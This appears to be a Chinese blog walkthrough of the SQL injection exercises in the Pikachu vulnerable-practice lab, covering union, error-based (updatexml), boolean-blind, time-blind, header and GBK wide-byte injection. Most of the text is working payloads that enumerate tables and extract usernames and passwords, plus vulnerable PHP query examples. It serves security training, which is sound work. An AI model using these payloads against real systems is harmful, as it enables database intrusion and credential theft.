欢迎光临
我们一直在努力

Pikachu之sql注入

数字型注入(post)

我们先查询一下

观察url,没有变换,抓包看看

是post请求,那么我们就在bp里面测试,发送到repeater

我们在id=1这里做手脚,先简单判断一下是否有注入点

id=1'

这里页面报错,那么大概率这里是有sql注入漏洞的

判断原理

$id = $_GET['id'];
$sql = "SELECT * FROM news WHERE id = $id"; // 数字型
$sql = "SELECT * FROM news WHERE id = '$id'"; // 字符型

当id这个参数等于1'时

数字型:

SELECT * FROM news WHERE id = 1'

字符型:

SELECT * FROM news WHERE id = '1''

这两种情况都会因为多出一个单引号而破坏 SQL 语法,导致数据库报错。

正常参数是不能包含'这个符号的,如果传入'且数据库报错,那么就可以说明

参数值被原样拼接进 SQL 语句;没有对输入做足够的转义;

那么这个地方大概率是有sql注入漏洞的

判断完是否有注入漏洞后,我们就要判断闭合了

id=1 and 1=1 //页面正常
id=1 and 1=2 //页面报错

如果输入上面的代码,且页面与注释所说的相匹配,那么该处无需闭合

and是交集∩,需要左右都满足才为对,id=1是正确的,1=1也是正确的,所以页面正常,反之同理

判断完闭合,下面我就可以来演示联合注入的操作了

判断回显点数

id=1 order by 1 //正常
id=1 order by 2 //正常
id=1 order by 3 //报错

那么回显点数就是第一次报错时的数字减1

因为sql查询语句会是这样

SELECT id, name FROM users WHERE id=1

order by 1:按第 1 列(id)排序,合法,正常执行
order by 2:按第 2 列(name)排序,合法,正常执行
order by 3:按第 3 列排序,但结果里根本没有第 3 列,SQL 语法直接报错

查看回显点

id=-1 union select 1,2

输入这个,就会让回显点回显,这个的目的说查看可利用的回显点,因为不是所有回显点都会回显,1和2都可用

id=-1是为了报错

爆库名

id=-1 union select 1,database()

database()函数会返回数据库名

数据库名叫pikachu

爆表名

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

group_concat(table_name):这是 MySQL 的聚合函数,把查询到的所有行里的 table_name 值拼接成一个字符串(默认逗号分隔)。因为我们的目标是拿到所有的表名,如果不用它,只会返回第一行,用了就能一次性把所有表名打包在一个格子(回显点2)里输出。

information_schema.tables:这是 MySQL 自带的元数据表,记录了整个数据库中所有表的信息,其中有一个列就是 table_name(表名)。

table_schema=database()
table_schema 是表的所属数据库名。database() 函数返回当前连接的数据库名(在之前的步骤中已爆出叫做 pikachu)。

爆字段

我们选择users表

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

这里就是把table换成了column,大概看一下就好了

爆数据

我们选择password字段

id=-1 union select 1,password from users

成功爆到密码

字符型注入(get)

这种就不用在bp里面测试了,直接在输入框里测试

先判断是否有sql注入,然后判断闭合,然后就是联合注入

报错,说明需要闭合

查询成功,说明是单引号闭合

原理

$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

我们正常输入admin 123456

SELECT * FROM users WHERE username = 'admin' AND password = '123456'

我们输入admin' and 1=1#

SELECT * FROM users WHERE username = 'admin' and 1=1#' AND password = '123'

单引号给username闭合了,#给后面注释了

正常回显

报错,说明回显点数为3

后面就是联合查询了,就是要记得闭合和注释,下面我就直接给结果了

搜索型注入

判断是否有sql注入

判断闭合

搜索框一般是%关键词%这种方式存在的,所以我们的闭合便要将%'这两个闭合掉

select username,id,email from member where username like '%$name%';

成功闭合,接下来就是使用联合注入了

0%' union select 1,2,3#

0%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

0%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

0%' union select 1,2,password from users#

注入成功

xx型注入

先看看有没有sql报错

报错,接下来判断闭合

这里报错了,那么很有可能闭合里面有单引号和前面的单引号闭合了,但是中间夹杂了一些符号导致sql语句出错,我们接着试

是’)闭合,判断成功

所谓的xx型注入,就是输入的值可能被各种各样的符号包裹(单引号,双引号,括号等等)

"select id,email from member where username=('$name')";

接下来就是进行联合注入就行了,这里略过

“insert/update”注入

insert注入

当我们注册时,数据库会进行insert

INSERT INTO users(username,password)
VALUES('$username','$password');

我们进行修改密码时,数据库会进行update

UPDATE users
SET password='$password'
WHERE username='$username';

这两处地方往往也是sql注入的重灾区

我们可以使用报错注入

报错注入

我们正常写sql语句,数据库正常返回数据

SELECT * FROM users WHERE id=1;

我们写一个错误的sql语句,数据库就会报错

SELECT updatexml(1,1,1);

XPATH syntax error: '1'

updatexml(a,b,c):这是 MySQL 提供的一个修改 XML 数据的函数。

updatexml(XML文档,XPath表达式,要替换成的新值)

假设有一个xml张三,我们要把张三换成李四

那么会这样写

updatexml(XML,'/user/name','李四')

中间是路径,右边是值,左边是xml

回到SELECT updatexml(1,1,1);

那我们把中间的1改成database()

数据库查看路径的时候会看到pikachu,这不是一个正确的路径,所以会报错

XPATH syntax error: 'pikachu'

爆库名

1' and updatexml(1,concat(0x7e,database()),1)–+
//或者
1' and updatexml(1,concat(0x7e,database()),1) and' //这取决于闭合,要自行判断

concat(a,b):concat可以把字符串a和b拼接起来,写这个的原因是报错信息有时候不是那么好看,我们写一个concat(0x7e,database()),就会把pikachu和~拼在一起,变成

~pikachu

这样便于观察

爆表名

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and '

这里和联合注入很像,就是concat(0x7e,(去掉union的联合注入))

爆字段

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1) and '

和联合注入一样,将table换成column,后面改成table_name

爆数据

第一条

1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1)),1) and '

第二条

1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 1,1)),1) and '

第n条

1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit n-1,1)),1) and '

这里不用group_concat()的原因是报错是有长度限制的,不能全部显示,之前是因为表名和字段名比较短,所以可以显示全,如果数据里的这个密码也足够长,那么就要使用SUBSTRING()来分段读取了

update注入

我们登录进去,点击修改个人信息,此处就是类似修改密码的修改类,会用到update,也是使用报错注入

1' and updatexml(1,concat(0x7e,database()),1) and '

后面的操作就和上面一样了

delete注入

就是数据库使用delete的时候执行了我们的恶意sql指令

常用于删除场景

我们开启抓包,点击删除

在id=62后面进行报错注入

id=62+and+updatexml(1,concat(0x7e,database()),1)

后续就是进行报错注入

"http header"注入

产生 Header 注入的原因是因为很多程序员会把 Header 写进数据库。

程序员直接把

$useragent=$_SERVER['HTTP_USER_AGENT'];

$sql="insert into log(useragent)
values('$useragent')";

放进sql而且没有过滤

那么攻击者就会改 Header。

insert into log(useragent)
values('abc'')

进行闭合,本质上还是sql注入

先登录

进行刷新抓包,在User-Agent后进行报错注入

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0' and updatexml(1,concat(0x7e,database()),1) and '

后续进行报错注入即可

布尔盲注

布尔就是bool,只会返回true or false,我们通过正常回显和报错来判断

获取数据库长度

1' and length(database())=1#

1' and length(database())=2#

. . .

1' and length(database())=n#

length()会返回长度,我们进行等于判断,正常回显就是length函数里的长度了

这里通常用burpsuite爆破一下就好了

设置1-20的载荷,发起爆破,查看不同长度的结果,即可得到数据库长度

所以数据库名的长度为7

获取数据库名

kobe' and substring(database(),1,1)='p'#
kobe' and substring(database(),2,1)='i'#

substring(a,b,c):substring()是 SQL 中用于截取字符串的函数,

a:你要截取的目标,如database()

b:从第几位开始截取。注意:SQL 的起始索引是 1,不是 0。比如 b=1 代表从第一个字符开始。

c:每次截取几个字符。

进行抓包爆破,使用集束炸弹

1为1-7,2为a-z A-Z不要忘了数字,但是这里我知道数据库是pikachu了,就不加数字了

这里大小写都判断为真了,这样数据库名就是pikachu,大写小写无所谓了

获取表数量

kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=1#
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=2#

可得到有五张表

获取表名长度

kobe' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1#
kobe' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1#

得到第一张表名长度为8

我们可以对limit n,1中的n进行集束炸弹爆破,就可以一次得到所有表的长度

第一张表长度为8,第二张为6,第三张为7,第四张为5,第五张为8

获取表名

kobe' and substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='p'#

kobe' and substring((select table_name from information_schema.tables where table_schema=database() limit xxx,1),xxx,1)='xxx'#

给这段代码中2的三个xxx处打上标签,第一个xxx为0-4,第二个为1-8(因为最长的表名为8),第三个为a-z,这样就能一次得到所有表名

进行过滤一下,就能得到五张表名,分别是httpinfo、member、message、users、xssblind

获取字段数量

kobe' and (select count(column_name) from information_schema.columns where table_name='users')=1#

数量为18

获取字段长度

kobe' and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)=1#

最长为19

获取字段名

kobe' and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='p'#

这样便获取到所有字段名了

获取数据数量

kobe' and (select count(username) from users)=1#

有三条数据

获取数据长度

kobe' and (select length(username) from users limit 0,1)=1#

最大长度为7

获取数据

kobe' and substring((select username from users limit 0,1),1,1)='p'#

成功获取到数据

时间盲注

时间盲注用于没有回显,没有报错时进行sql注入的方法

kobe' and if(1=1,sleep(5),0)#

执行后页面等待大约5秒才会变化

if(a,b,c):如果a为真,那么返回b,否则,返回c

那么我们就可以通过爆破判断,查看变化时间来进行注入

获取数据库长度

kobe' and if(length(database())=1,sleep(3),0)#

进行抓包,但是这样看不出区别

我们进行以下设置,就能过滤出正确数据

这里需要对资源池设置一下,减少网络的影响

获取数据库名

kobe' and if(substring(database(),1,1)='p',sleep(5),0)#

数据库名为pikachu

获取表数量

kobe' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),0)#

有五张表

获取表名长度

kobe' and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1,sleep(5),0)#

最长为8

获取表名

kobe' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='p',sleep(5),0)#

整理后得到表名

获取字段数量

kobe' and if((select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=1,sleep(5),0)#

为4

获取字段名长度

kobe' and if((select length(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)=1,sleep(5),0)#

最长为8

获取字段名

kobe' and if(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='p',sleep(5),0)#

整理过后即可得到字段名

获取数据数量

kobe' and if((select count(username) from users)=1,sleep(5),0)#

三条数据

获取数据长度

kobe' and if((select length(username) from users limit 0,1)=1,sleep(5),0)#

最大长度为7

获取数据

kobe' and if(substr((select username from users limit 0,1),1,1)='p',sleep(5),0)#

整理得到admin、pikachu、test

宽字节注入

当我们输入admin'这种非法输入时,程序会使用addslashes()将

'

转义为

\\'

这样就不会闭合单引号了

'admin\\''

但如果数据库使用的是 GBK 编码,GBK中一个汉字由两个字节组成,如:

高
↓

0xB8DF

数据库看到两个字节,就认为这是一个汉字

关于addslashes():

假设我们输入

%df'

url解码后是

DF 27

27为单引号,由于有单引号,php会自动变成

DF 5C 27

这里的5C就是\\

GBK此时会把DF5C看作是一个汉字,\\被吃掉了,变成  汉字'  了,sql此时就闭合了

我们输入

?id=%df' or 1=1#

转义后是

%df\\' or 1=1#

数据库中为

汉字' or 1=1#

变成

select * from users where username='[汉字]' or 1=1#

成功执行

回到pikachu上,我们先抓包,放到重发器里,这是为了防止payload被浏览器编码,在bp里面进行测试

kobe%df' or 1=1#

kobe%df' order by 2#
kobe%df' order by 3#

回显点数为2

kobe%df' union select 1,2#

kobe%df' union select 1,database()#

测试成功,接下来就是联合注入了

赞(0)
未经允许不得转载:171主机测评 » Pikachu之sql注入
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址